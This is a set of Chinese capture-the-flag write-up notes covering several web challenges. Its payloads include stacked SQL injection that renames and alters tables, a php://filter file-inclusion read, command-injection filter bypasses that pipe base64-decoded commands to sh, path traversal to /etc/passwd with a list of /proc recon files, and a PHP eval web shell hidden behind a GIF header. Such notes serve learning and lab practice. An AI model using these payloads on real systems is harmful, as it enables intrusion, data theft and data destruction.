强网杯-随便注
知识点:堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqlimulti_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
?inject=1' order by 2--+
得到字段数为2列
?inject=1' ;show databases;--+
得到数据库名称
?inject=1' ;show columns from1919810931114514;--+
表名处用反引号包裹或者用16进制代替
linux下不区分,windows下区分区别:单引号( ' )或双引号主要用于字符串的引用符号eg:mysql> SELECT 'hello', "hello" ;反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
①先把words表改为word1
②再利用rename将1919810931114514这个表修改为word
③再将flag字段修改成id
构造payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
1‘or 1=1—+
[ACTF2020 新生赛]Include
知识点
(LFI / RFI)https://www.jianshu.com/p/8803aff98bfa
三种方式获取源码
data,file,phpinput
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
[SUCTF 2019]EasySQL
知识点:堆叠注入,select * from xxx 是返回所有行列,判断注入语句
字典fuzz有过滤
网站语言为php,数据库大概为mysql
经过测试为堆叠注入,闭合方式为数字型
query=1;show databases;--+
Array([0] => 1)Array([0] => ctf)Array([0] => ctftraining)Array([0] => information_schema)Array([0] => mysql)Array([0] => performance_schema)Array([0] => test)
query=1;select database();--+
Array([0] => 1)Array([0] => ctf)
解法1
输入的内容为,1
内置的sql语句为s q l = “ s e l e c t “ . sql = “select “.sql=”select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为,1,sql语句就变成了select ,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag
[GXYCTF2019]Ping Ping Ping
知识点:
命令执行绕过空格
- ${IFS}替换
$IFS$1替换${IFS替换- %20替换
- <和<>重定向符替换
- %09替换
| 直接执行后面的语句
|| 前面命令是错的,则执行后面的
& 前面和后面的都要执行无论真假
绕过关键字
1.base64编码
如题目一样就是用base64进行编码,再用命令进行解读。从而达到执行。
这里用的是sh,sh的大部分脚本都可以在bash下运行
附上大佬的payload前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
这里边的|是管道符。去查了一下总结一下2.单引号、双引号绕过
可以使用这种方法去绕过有时候的cat 和flag 但在本题单双引号被ban了
3.反斜线绕过
本题中反斜线也被ban了
4.$1、$2等和 $@绕过
*
如果cat被过滤,可以用下边的方法进行绕过~~
?ip=127.0.0.1|cat$IFS
ls把反引号命令输入作为输出
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
ca't fl''ag
ca\t fl\ag
c$1at gh$@twf01.txt
<?php$flag = "flag{06e90d18-5a5f-48ab-a3f3-5487af8da804}";?>/?ip=<?phpif(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);}?>
N1book
知识点:
文件包含加flask伪造

article?name=../../../etc/passwd
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用/proc/mounts # 挂载的文件系统列表/proc/net/arp # arp表,可以获得内网其他机器的地址/proc/net/route # 路由表信息/proc/net/tcp and /proc/net/udp # 活动连接的信息/proc/net/fib_trie # 路由缓存/proc/version # 内核版本/proc/[PID]/cmdline # 可能包含有用的路径信息/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell/proc/[PID]/cwd # 当前进程的工作目录/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
[极客大挑战 2019]Upload
文件上传知识点: 绕过<? 检测,修改文件名称 phtml,文件头格式
GIF89a<script language="php">eval($_POST['shell']);</script>
[RoarCTF 2019]Easy Calc
加空格,我也不造为啥
%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[ACTF2020 新生赛]Upload
知识点:f12 CTRL+shift+P禁用js
